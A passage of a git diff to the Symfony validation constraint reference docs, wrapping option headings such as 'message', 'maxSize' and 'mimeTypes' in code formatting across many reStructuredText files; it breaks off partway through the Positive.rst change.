 reference/constraints/PositiveOrZero.rst      |   4 +-
 reference/constraints/Range.rst               |  32 +++---
 reference/constraints/Regex.rst               |  16 +--
 reference/constraints/Timezone.rst            |  16 +--
 reference/constraints/Type.rst                |   8 +-
 reference/constraints/Unique.rst              |   4 +-
 reference/constraints/UniqueEntity.rst        |  24 ++--
 reference/constraints/Url.rst                 |  20 ++--
 reference/constraints/Valid.rst               |   4 +-
 .../constraints/_normalizer-option.rst.inc    |   4 +-
 31 files changed, 258 insertions(+), 258 deletions(-)

diff --git a/reference/constraints/Bic.rst b/reference/constraints/Bic.rst
index 6496ae63d54..0d00fca6297 100644
--- a/reference/constraints/Bic.rst
+++ b/reference/constraints/Bic.rst
@@ -87,8 +87,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-iban
-~~~~
+``iban``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -98,8 +98,8 @@ iban
 
 An IBAN value to validate that its country code is the same as the BIC's one.
 
-ibanMessage
-~~~~~~~~~~~
+``ibanMessage``
+~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This Business Identifier Code (BIC) is not associated with IBAN {{ iban }}.``
 
@@ -109,8 +109,8 @@ ibanMessage
 
 The default message supplied when the value does not pass the combined BIC/IBAN check.
 
-ibanPropertyPath
-~~~~~~~~~~~~~~~~
+``ibanPropertyPath``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -124,8 +124,8 @@ For example, if you want to compare the ``$bic`` property of some object
 with regard to the ``$iban`` property of the same object, use
 ``ibanPropertyPath="iban"`` in the comparison constraint of ``$bic``.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid Business Identifier Code (BIC).``
 
diff --git a/reference/constraints/CardScheme.rst b/reference/constraints/CardScheme.rst
index 6362d9932ee..e8e2b744987 100644
--- a/reference/constraints/CardScheme.rst
+++ b/reference/constraints/CardScheme.rst
@@ -99,8 +99,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Unsupported card type or invalid card number.``
 
@@ -116,8 +116,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-schemes
-~~~~~~~
+``schemes``
+~~~~~~~~~~~
 
 **type**: ``mixed`` [:ref:`default option <validation-default-option>`]
 
diff --git a/reference/constraints/Choice.rst b/reference/constraints/Choice.rst
index b1407c8add0..0e099053775 100644
--- a/reference/constraints/Choice.rst
+++ b/reference/constraints/Choice.rst
@@ -275,8 +275,8 @@ you can pass the class name and the method as an array.
 Available Options
 -----------------
 
-callback
-~~~~~~~~
+``callback``
+~~~~~~~~~~~~
 
 **type**: ``string|array|Closure``
 
@@ -284,8 +284,8 @@ This is a callback method that can be used instead of the `choices`_ option
 to return the choices array. See
 `Supplying the Choices with a Callback Function`_ for details on its usage.
 
-choices
-~~~~~~~
+``choices``
+~~~~~~~~~~~
 
 **type**: ``array`` [:ref:`default option <validation-default-option>`]
 
@@ -295,8 +295,8 @@ will be matched against this array.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -305,8 +305,8 @@ to force no more than XX number of values to be selected. For example, if
 ``max`` is 3, but the input array contains 4 valid items, the validation
 will fail.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at most {{ limit }} choices.``
 
@@ -326,8 +326,8 @@ Parameter          Description
 
     The ``{{ choices }}`` parameter was introduced in Symfony 4.3.
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The value you selected is not a valid choice.``
 
@@ -344,8 +344,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -354,8 +354,8 @@ to force at least XX number of values to be selected. For example, if
 ``min`` is 3, but the input array only contains 2 valid items, the validation
 will fail.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``You must select at least {{ limit }} choices.``
 
@@ -375,8 +375,8 @@ Parameter          Description
 
     The ``{{ choices }}`` parameter was introduced in Symfony 4.3.
 
-multiple
-~~~~~~~~
+``multiple``
+~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -385,8 +385,8 @@ of a single, scalar value. The constraint will check that each value of
 the input array can be found in the array of valid choices. If even one
 of the input values cannot be found, the validation will fail.
 
-multipleMessage
-~~~~~~~~~~~~~~~
+``multipleMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``One or more of the given values is invalid.``
 
diff --git a/reference/constraints/Count.rst b/reference/constraints/Count.rst
index 2ff99b5adbb..dbbe94b480a 100644
--- a/reference/constraints/Count.rst
+++ b/reference/constraints/Count.rst
@@ -101,8 +101,8 @@ you might add the following:
 Options
 -------
 
-exactMessage
-~~~~~~~~~~~~
+``exactMessage``
+~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain exactly {{ limit }} elements.``
 
@@ -120,8 +120,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -130,8 +130,8 @@ collection elements count is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or less.``
 
@@ -147,8 +147,8 @@ Parameter        Description
 ``{{ limit }}``  The upper limit
 ===============  ==============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -157,8 +157,8 @@ collection elements count is **less** than this min value.
 
 This option is required when the ``max`` option is not defined.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This collection should contain {{ limit }} elements or more.``
 
diff --git a/reference/constraints/DateTime.rst b/reference/constraints/DateTime.rst
index 41b4db2acc0..c3a9c328932 100644
--- a/reference/constraints/DateTime.rst
+++ b/reference/constraints/DateTime.rst
@@ -84,8 +84,8 @@ Basic Usage
 Options
 -------
 
-format
-~~~~~~
+``format``
+~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Y-m-d H:i:s``
 
diff --git a/reference/constraints/DivisibleBy.rst b/reference/constraints/DivisibleBy.rst
index f4ae78ab0f8..73b0a9c88b6 100644
--- a/reference/constraints/DivisibleBy.rst
+++ b/reference/constraints/DivisibleBy.rst
@@ -104,8 +104,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be a multiple of {{ compared_value }}.``
 
diff --git a/reference/constraints/Email.rst b/reference/constraints/Email.rst
index 5b149f0bf5f..5cbeaeb4523 100644
--- a/reference/constraints/Email.rst
+++ b/reference/constraints/Email.rst
@@ -92,8 +92,8 @@ Basic Usage
 Options
 -------
 
-checkHost
-~~~~~~~~~
+``checkHost``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -105,8 +105,8 @@ If true, then the :phpfunction:`checkdnsrr` PHP function will be used to
 check the validity of the MX *or* the A *or* the AAAA record of the host
 of the given email.
 
-checkMX
-~~~~~~~
+``checkMX``
+~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -124,8 +124,8 @@ check the validity of the MX record of the host of the given email.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid email address.``
 
@@ -139,8 +139,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-mode
-~~~~
+``mode``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``loose``
 
diff --git a/reference/constraints/Expression.rst b/reference/constraints/Expression.rst
index f3af00f1d3a..fbcbfc9c2b2 100644
--- a/reference/constraints/Expression.rst
+++ b/reference/constraints/Expression.rst
@@ -264,8 +264,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-values
-~~~~~~
+``values``
+~~~~~~~~~~
 
 **type**: ``array`` **default**: ``[]``
 
diff --git a/reference/constraints/File.rst b/reference/constraints/File.rst
index a865349f913..bc93caf83d1 100644
--- a/reference/constraints/File.rst
+++ b/reference/constraints/File.rst
@@ -158,8 +158,8 @@ have been specified.
 Options
 -------
 
-binaryFormat
-~~~~~~~~~~~~
+``binaryFormat``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``null``
 
@@ -171,8 +171,8 @@ the value defined in the ``maxSize`` option.
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-disallowEmptyMessage
-~~~~~~~~~~~~~~~~~~~~
+``disallowEmptyMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``An empty file is not allowed.``
 
@@ -190,8 +190,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxSize
-~~~~~~~
+``maxSize``
+~~~~~~~~~~~
 
 **type**: ``mixed``
 
@@ -212,8 +212,8 @@ Suffix  Unit Name  Value            Example
 For more information about the difference between binary and SI prefixes,
 see `Wikipedia: Binary prefix`_.
 
-maxSizeMessage
-~~~~~~~~~~~~~~
+``maxSizeMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large ({{ size }} {{ suffix }}). Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -231,8 +231,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string``
 
@@ -256,8 +256,8 @@ You can find a list of existing mime types on the `IANA website`_.
 
         This feature was introduced in Symfony 4.4.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The mime type of the file is invalid ({{ type }}). Allowed mime types are {{ types }}.``
 
@@ -275,8 +275,8 @@ Parameter        Description
 ``{{ types }}``  The list of allowed MIME types
 ===============  ==============================================================
 
-notFoundMessage
-~~~~~~~~~~~~~~~
+``notFoundMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be found.``
 
@@ -292,8 +292,8 @@ Parameter        Description
 ``{{ file }}``   Absolute file path
 ===============  ==============================================================
 
-notReadableMessage
-~~~~~~~~~~~~~~~~~~
+``notReadableMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is not readable.``
 
@@ -310,8 +310,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-uploadCantWriteErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadCantWriteErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``Cannot write temporary file to disk.``
 
@@ -320,8 +320,8 @@ temporary folder.
 
 This message has no parameters.
 
-uploadErrorMessage
-~~~~~~~~~~~~~~~~~~
+``uploadErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file could not be uploaded.``
 
@@ -330,8 +330,8 @@ for some unknown reason.
 
 This message has no parameters.
 
-uploadExtensionErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadExtensionErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``A PHP extension caused the upload to fail.``
 
@@ -340,8 +340,8 @@ fail.
 
 This message has no parameters.
 
-uploadFormSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadFormSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large.``
 
@@ -350,8 +350,8 @@ by the HTML file input field.
 
 This message has no parameters.
 
-uploadIniSizeErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadIniSizeErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file is too large. Allowed maximum size is {{ limit }} {{ suffix }}.``
 
@@ -367,8 +367,8 @@ Parameter         Description
 ``{{ suffix }}``  Suffix for the used file size unit (see above)
 ================  =============================================================
 
-uploadNoFileErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoFileErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No file was uploaded.``
 
@@ -376,8 +376,8 @@ The message that is displayed if no file was uploaded.
 
 This message has no parameters.
 
-uploadNoTmpDirErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadNoTmpDirErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``No temporary folder was configured in php.ini.``
 
@@ -386,8 +386,8 @@ missing.
 
 This message has no parameters.
 
-uploadPartialErrorMessage
-~~~~~~~~~~~~~~~~~~~~~~~~~
+``uploadPartialErrorMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The file was only partially uploaded.``
 
diff --git a/reference/constraints/Image.rst b/reference/constraints/Image.rst
index e8b492bf4ae..8ab714db79b 100644
--- a/reference/constraints/Image.rst
+++ b/reference/constraints/Image.rst
@@ -230,15 +230,15 @@ This constraint shares all of its options with the :doc:`File </reference/constr
 constraint. It does, however, modify two of the default option values and
 add several other options.
 
-allowLandscape
-~~~~~~~~~~~~~~
+``allowLandscape``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be landscape oriented.
 
-allowLandscapeMessage
-~~~~~~~~~~~~~~~~~~~~~
+``allowLandscapeMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is landscape oriented ({{ width }}x{{ height }}px).
 Landscape oriented images are not allowed``
@@ -254,15 +254,15 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowPortrait
-~~~~~~~~~~~~~
+``allowPortrait``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
 If this option is false, the image cannot be portrait oriented.
 
-allowPortraitMessage
-~~~~~~~~~~~~~~~~~~~~
+``allowPortraitMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is portrait oriented ({{ width }}x{{ height }}px).
 Portrait oriented images are not allowed``
@@ -278,8 +278,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-allowSquare
-~~~~~~~~~~~
+``allowSquare``
+~~~~~~~~~~~~~~~
 
 **type**: ``Boolean`` **default**: ``true``
 
@@ -287,8 +287,8 @@ If this option is false, the image cannot be a square. If you want to force
 a square image, then leave this option as its default ``true`` value
 and set `allowLandscape`_ and `allowPortrait`_ both to ``false``.
 
-allowSquareMessage
-~~~~~~~~~~~~~~~~~~
+``allowSquareMessage``
+~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image is square ({{ width }}x{{ height }}px).
 Square images are not allowed``
@@ -304,8 +304,8 @@ Parameter         Description
 ``{{ width }}``   The current width
 ================  =============================================================
 
-corruptedMessage
-~~~~~~~~~~~~~~~~
+``corruptedMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image file is corrupted.``
 
@@ -314,8 +314,8 @@ is corrupted.
 
 This message has no parameters.
 
-detectCorrupted
-~~~~~~~~~~~~~~~
+``detectCorrupted``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -325,16 +325,16 @@ function, which requires the `PHP GD extension`_ to be enabled.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-maxHeight
-~~~~~~~~~
+``maxHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be less than or equal to this
 value in pixels.
 
-maxHeightMessage
-~~~~~~~~~~~~~~~~
+``maxHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too big ({{ height }}px).
 Allowed maximum height is {{ max_height }}px.``
@@ -350,16 +350,16 @@ Parameter             Description
 ``{{ max_height }}``  The maximum allowed height
 ====================  =========================================================
 
-maxPixels
-~~~~~~~~~
+``maxPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be less than or equal to this
 value.
 
-maxPixelsMessage
-~~~~~~~~~~~~~~~~
+``maxPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has to many pixels ({{ pixels }} pixels).
 Maximum amount expected is {{ max_pixels }} pixels.``
@@ -377,16 +377,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-maxRatio
-~~~~~~~~
+``maxRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be less
 than or equal to this value.
 
-maxRatioMessage
-~~~~~~~~~~~~~~~
+``maxRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too big ({{ ratio }}).
 Allowed maximum ratio is {{ max_ratio }}``
@@ -402,16 +402,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-maxWidth
-~~~~~~~~
+``maxWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be less than or equal to this
 value in pixels.
 
-maxWidthMessage
-~~~~~~~~~~~~~~~
+``maxWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too big ({{ width }}px).
 Allowed maximum width is {{ max_width }}px.``
@@ -427,28 +427,28 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-mimeTypes
-~~~~~~~~~
+``mimeTypes``
+~~~~~~~~~~~~~
 
 **type**: ``array`` or ``string`` **default**: ``image/*``
 
 You can find a list of existing image mime types on the `IANA website`_.
 
-mimeTypesMessage
-~~~~~~~~~~~~~~~~
+``mimeTypesMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This file is not a valid image.``
 
-minHeight
-~~~~~~~~~
+``minHeight``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the height of the image file must be greater than or equal to this
 value in pixels.
 
-minHeightMessage
-~~~~~~~~~~~~~~~~
+``minHeightMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image height is too small ({{ height }}px).
 Minimum height expected is {{ min_height }}px.``
@@ -464,16 +464,16 @@ Parameter             Description
 ``{{ min_height }}``  The minimum required height
 ====================  =========================================================
 
-minPixels
-~~~~~~~~~
+``minPixels``
+~~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the amount of pixels of the image file must be greater than or equal to this
 value.
 
-minPixelsMessage
-~~~~~~~~~~~~~~~~
+``minPixelsMessage``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image has too few pixels ({{ pixels }} pixels).
 Minimum amount expected is {{ min_pixels }} pixels.``
@@ -491,16 +491,16 @@ Parameter             Description
 ``{{ width }}``       The current image width
 ====================  =========================================================
 
-minRatio
-~~~~~~~~
+``minRatio``
+~~~~~~~~~~~~
 
 **type**: ``float``
 
 If set, the aspect ratio (``width / height``) of the image file must be greater
 than or equal to this value.
 
-minRatioMessage
-~~~~~~~~~~~~~~~
+``minRatioMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image ratio is too small ({{ ratio }}).
 Minimum ratio expected is {{ min_ratio }}``
@@ -516,16 +516,16 @@ Parameter            Description
 ``{{ ratio }}``      The current (invalid) ratio
 ===================  ==========================================================
 
-minWidth
-~~~~~~~~
+``minWidth``
+~~~~~~~~~~~~
 
 **type**: ``integer``
 
 If set, the width of the image file must be greater than or equal to this
 value in pixels.
 
-minWidthMessage
-~~~~~~~~~~~~~~~
+``minWidthMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The image width is too small ({{ width }}px).
 Minimum width expected is {{ min_width }}px.``
@@ -541,8 +541,8 @@ Parameter            Description
 ``{{ width }}``      The current (invalid) width
 ===================  ==========================================================
 
-sizeNotDetectedMessage
-~~~~~~~~~~~~~~~~~~~~~~
+``sizeNotDetectedMessage``
+~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``The size of the image could not be detected.``
 
diff --git a/reference/constraints/Ip.rst b/reference/constraints/Ip.rst
index 60865c024bc..daf84496fe8 100644
--- a/reference/constraints/Ip.rst
+++ b/reference/constraints/Ip.rst
@@ -82,8 +82,8 @@ Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This is not a valid IP address.``
 
@@ -101,8 +101,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-version
-~~~~~~~
+``version``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``4``
 
diff --git a/reference/constraints/Isbn.rst b/reference/constraints/Isbn.rst
index 2820fce0052..d67f0605144 100644
--- a/reference/constraints/Isbn.rst
+++ b/reference/constraints/Isbn.rst
@@ -95,8 +95,8 @@ on an object that will contain an ISBN.
 Available Options
 -----------------
 
-bothIsbnMessage
-~~~~~~~~~~~~~~~
+``bothIsbnMessage``
+~~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is neither a valid ISBN-10 nor a valid ISBN-13.``
 
@@ -113,8 +113,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-isbn10Message
-~~~~~~~~~~~~~
+``isbn10Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-10.``
 
@@ -129,8 +129,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-isbn13Message
-~~~~~~~~~~~~~
+``isbn13Message``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is not a valid ISBN-13.``
 
@@ -145,8 +145,8 @@ Parameter        Description
 ``{{ value }}``  The current (invalid) value
 ===============  ==============================================================
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
@@ -163,8 +163,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-type
-~~~~
+``type``
+~~~~~~~~
 
 **type**: ``string`` **default**: ``null``
 
diff --git a/reference/constraints/Issn.rst b/reference/constraints/Issn.rst
index 374cc7d2751..87c9468ac12 100644
--- a/reference/constraints/Issn.rst
+++ b/reference/constraints/Issn.rst
@@ -79,8 +79,8 @@ Basic Usage
 Options
 -------
 
-caseSensitive
-~~~~~~~~~~~~~
+``caseSensitive``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
@@ -89,8 +89,8 @@ When switching this to ``true``, the validator requires an upper case 'X'.
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` default: ``This value is not a valid ISSN.``
 
@@ -106,8 +106,8 @@ Parameter        Description
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-requireHyphen
-~~~~~~~~~~~~~
+``requireHyphen``
+~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` default: ``false``
 
diff --git a/reference/constraints/Json.rst b/reference/constraints/Json.rst
index 6e8318077da..8eafb6c4de6 100644
--- a/reference/constraints/Json.rst
+++ b/reference/constraints/Json.rst
@@ -82,8 +82,8 @@ The ``Json`` constraint can be applied to a property or a "getter" method:
 Options
 -------
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be valid JSON.``
 
diff --git a/reference/constraints/Length.rst b/reference/constraints/Length.rst
index 7e790efeee7..0d0fe42486d 100644
--- a/reference/constraints/Length.rst
+++ b/reference/constraints/Length.rst
@@ -114,8 +114,8 @@ and ``50``, you might add the following:
 Options
 -------
 
-allowEmptyString
-~~~~~~~~~~~~~~~~
+``allowEmptyString``
+~~~~~~~~~~~~~~~~~~~~
 
 **type**: ``boolean``  **default**: ``true``
 
@@ -132,8 +132,8 @@ valid.
 
     This option does not have any effect when no minimum length is given.
 
-charset
-~~~~~~~
+``charset``
+~~~~~~~~~~~
 
 **type**: ``string``  **default**: ``UTF-8``
 
@@ -141,8 +141,8 @@ The charset to be used when computing value's length with the
 :phpfunction:`mb_check_encoding` and :phpfunction:`mb_strlen`
 PHP functions.
 
-charsetMessage
-~~~~~~~~~~~~~~
+``charsetMessage``
+~~~~~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value does not match the expected {{ charset }} charset.``
 
@@ -176,8 +176,8 @@ Parameter          Description
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-max
-~~~
+``max``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -186,8 +186,8 @@ the given value's length is **greater** than this max value.
 
 This option is required when the ``min`` option is not defined.
 
-maxMessage
-~~~~~~~~~~
+``maxMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too long. It should have {{ limit }} characters or less.``
 
@@ -203,8 +203,8 @@ Parameter          Description
 ``{{ value }}``    The current (invalid) value
 =================  ============================================================
 
-min
-~~~
+``min``
+~~~~~~~
 
 **type**: ``integer``
 
@@ -217,8 +217,8 @@ It is important to notice that NULL values and empty strings are considered
 valid no matter if the constraint required a minimum length. Validators
 are triggered only if the value is not blank.
 
-minMessage
-~~~~~~~~~~
+``minMessage``
+~~~~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value is too short. It should have {{ limit }} characters or more.``
 
diff --git a/reference/constraints/Locale.rst b/reference/constraints/Locale.rst
index d7f16293b3a..d3d2dc8225d 100644
--- a/reference/constraints/Locale.rst
+++ b/reference/constraints/Locale.rst
@@ -89,8 +89,8 @@ Basic Usage
 Options
 -------
 
-canonicalize
-~~~~~~~~~~~~
+``canonicalize``
+~~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/Negative.rst b/reference/constraints/Negative.rst
index 4e3edee87f2..f9850ba8da2 100644
--- a/reference/constraints/Negative.rst
+++ b/reference/constraints/Negative.rst
@@ -85,8 +85,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be negative.``
 
diff --git a/reference/constraints/NegativeOrZero.rst b/reference/constraints/NegativeOrZero.rst
index 5a77a36ab67..a10bb15ba6a 100644
--- a/reference/constraints/NegativeOrZero.rst
+++ b/reference/constraints/NegativeOrZero.rst
@@ -84,8 +84,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This value should be either negative or zero.``
 
diff --git a/reference/constraints/NotBlank.rst b/reference/constraints/NotBlank.rst
index 342293b2394..16e07a3ae0b 100644
--- a/reference/constraints/NotBlank.rst
+++ b/reference/constraints/NotBlank.rst
@@ -82,8 +82,8 @@ class were not blank, you could do the following:
 Options
 -------
 
-allowNull
-~~~~~~~~~
+``allowNull``
+~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
diff --git a/reference/constraints/NotCompromisedPassword.rst b/reference/constraints/NotCompromisedPassword.rst
index 1eded1463f9..28fd604298c 100644
--- a/reference/constraints/NotCompromisedPassword.rst
+++ b/reference/constraints/NotCompromisedPassword.rst
@@ -106,8 +106,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
-~~~~~~~
+``message``
+~~~~~~~~~~~
 
 **type**: ``string`` **default**: ``This password has been leaked in a data breach, it must not be used. Please use another password.``
 
@@ -115,8 +115,8 @@ The default message supplied when the password has been compromised.
 
 .. include:: /reference/constraints/_payload-option.rst.inc
 
-skipOnError
-~~~~~~~~~~~
+``skipOnError``
+~~~~~~~~~~~~~~~
 
 **type**: ``boolean`` **default**: ``false``
 
@@ -124,8 +124,8 @@ When the HTTP request made to the ``haveibeenpwned.com`` API fails for any
 reason, an exception is thrown (no validation error is displayed). Set this
 option to ``true`` to not throw the exception and consider the password valid.
 
-threshold
-~~~~~~~~~
+``threshold``
+~~~~~~~~~~~~~
 
 **type**: ``integer`` **default**: ``1``
 
diff --git a/reference/constraints/Positive.rst b/reference/constraints/Positive.rst
index bfed77a763c..d5e78ba387f 100644
--- a/reference/constraints/Positive.rst
+++ b/reference/constraints/Positive.rst
@@ -86,8 +86,8 @@ Available Options
 
 .. include:: /reference/constraints/_groups-option.rst.inc
 
-message
